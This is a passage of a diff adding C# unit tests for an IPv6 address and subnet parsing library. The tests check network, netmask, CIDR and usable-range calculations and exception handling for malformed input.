+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString6()
+        {
+
+            string ipaddress = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128";
+
+            string network = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string firstUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string lastUsable = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            byte cidr = 128;
+            uint usable = 1;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString7_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFF:123::/60";
+
+            string network = "2fff:ffff:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:ffff:123::";
+            string lastUsable = "2fff:ffff:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+        [TestMethod]
+        public void TestParseString8_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFE:123::/60";
+
+            string network = "2fff:fffe:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffe:123::";
+            string lastUsable = "2fff:fffe:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+
+        }
+
+        [TestMethod]
+        public void TestParseString9_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFC:123::/60";
+
+            string network = "2fff:fffc:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffc:123::";
+            string lastUsable = "2fff:fffc:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString10_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "2FFF:FFFA:123::/60";
+
+            string network = "2fff:fffa:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "2fff:fffa:123::";
+            string lastUsable = "2fff:fffa:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseString11_Uppercase_ipv6_must_parse()
+        {
+
+            string ipaddress = "FFFF:FFF1:123::/60";
+
+            string network = "ffff:fff1:123::";
+            string netmask = "ffff:ffff:ffff:fff0::";
+            string firstUsable = "ffff:fff1:123::";
+            string lastUsable = "ffff:fff1:123:f:ffff:ffff:ffff:ffff";
+            byte cidr = 60;
+            // BigInteger usable = 295147905179352825856;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            //Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+
+        }
+
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask1() {
+
+            string ipaddress = "2001:0db8::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask4() {
+
+            string ipaddress = "::";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+
+
+            string network = "::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "::";
+            string lastUsable = "::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+        [TestMethod]
+        public void TestParseIPAddressNoNetmask5() {
+
+            string ipaddress = "2001:0db8::1";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+
+            string network = "2001:db8::";
+            string netmask = "ffff:ffff:ffff:ffff::";
+            string firstUsable = "2001:db8::";
+            string lastUsable = "2001:db8::ffff:ffff:ffff:ffff";
+            byte cidr = 64;
+            var usable = BigInteger.Pow(2, 64);
+
+            Assert.AreEqual(network, ipnetwork.Network.ToString(), "Network");
+            Assert.AreEqual(netmask, ipnetwork.Netmask.ToString(), "Netmask");
+            Assert.AreEqual(null, ipnetwork.Broadcast, "Broadcast");
+            Assert.AreEqual(cidr, ipnetwork.Cidr, "Cidr");
+            Assert.AreEqual(usable, ipnetwork.Usable, "Usable");
+            Assert.AreEqual(firstUsable, ipnetwork.FirstUsable.ToString(), "FirstUsable");
+            Assert.AreEqual(lastUsable, ipnetwork.LastUsable.ToString(), "LastUsable");
+        }
+
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE1() {
+            string ipaddress = "garbage";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestParseStringAE2() {
+            string ipaddress = "0:0:0:0:0:0:1:0:0 0:1:2:3:4:5:6:7:8";
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringANE1() {
+            string ipaddress = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress);
+        }
+
+
+        #endregion
+
+        #region ParseStringString
+
+        [TestMethod]
+        public void TestParseStringString1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString3() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = null;
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestParseStringString5() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "";
+
+            IPNetwork ipnetwork = IPNetwork.Parse(ipaddress, netmask);
+
+        }
+
+        #endregion
+
+        #region ParseIpIp
+
+        [TestMethod]
+        public void ParseIpIp1() {
+
+            string ipaddress = "2001:0db8::";
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = IPAddress.Parse(netmask);
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+            Assert.AreEqual("2001:db8::/124", ipnetwork.ToString(), "network");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void ParseIpIp3() {
+
+            string ipaddress = "2001:0db8::";
+            IPAddress ip = IPAddress.Parse(ipaddress);
+            IPAddress netm = null;
+            IPNetwork ipnetwork = IPNetwork.Parse(ip, netm);
+
+        }
+
+        #endregion
+        
+        #region ToCidr
+
+        [TestMethod]
+        public void TestToCidrAE() {
+            byte cidr = IPNetwork.ToCidr(IPAddress.IPv6Any);
+            Assert.AreEqual(0, cidr, "cidr");
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestToCidrAE2() {
+            IPNetwork.ToCidr(IPAddress.Parse("2001:db8:3:4:5:6:7:8"));
+        }
+
+
+        [TestMethod]
+        public void TestToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            int result = IPNetwork.ToCidr(mask);
+
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region TryToCidr
+        
+
+        [TestMethod]
+        public void TestTryToCidr128() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            byte cidr = 128;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+
+        }
+
+        [TestMethod]
+        public void TestTryToCidr127() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe");
+            byte cidr = 127;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr126() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc");
+            byte cidr = 126;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr125() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff8");
+            byte cidr = 125;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr124() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            byte cidr = 124;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr123() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffe0");
+            byte cidr = 123;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr122() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffc0");
+            byte cidr = 122;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr121() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff80");
+            byte cidr = 121;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr120() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ff00");
+            byte cidr = 120;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr119() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fe00");
+            byte cidr = 119;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr118() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fc00");
+            byte cidr = 118;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr117() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f800");
+            byte cidr = 117;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region ToBigInteger
+
+        [TestMethod]
+        public void TestToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::f");
+            uint uintMask = 0xf;
+            BigInteger result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::fff");
+            uint uintMask = 0xfff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ff");
+            uint uintMask = 0xff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+    
+        #endregion
+
+        #region TryToBigInteger
+
+        [TestMethod]
+        public void TestTryToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ffff");
+            uint uintMask = 0xffffffff;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ff00");
+            uint uintMask = 0xffffff00;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:0");
+            uint uintMask = 0xffff0000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
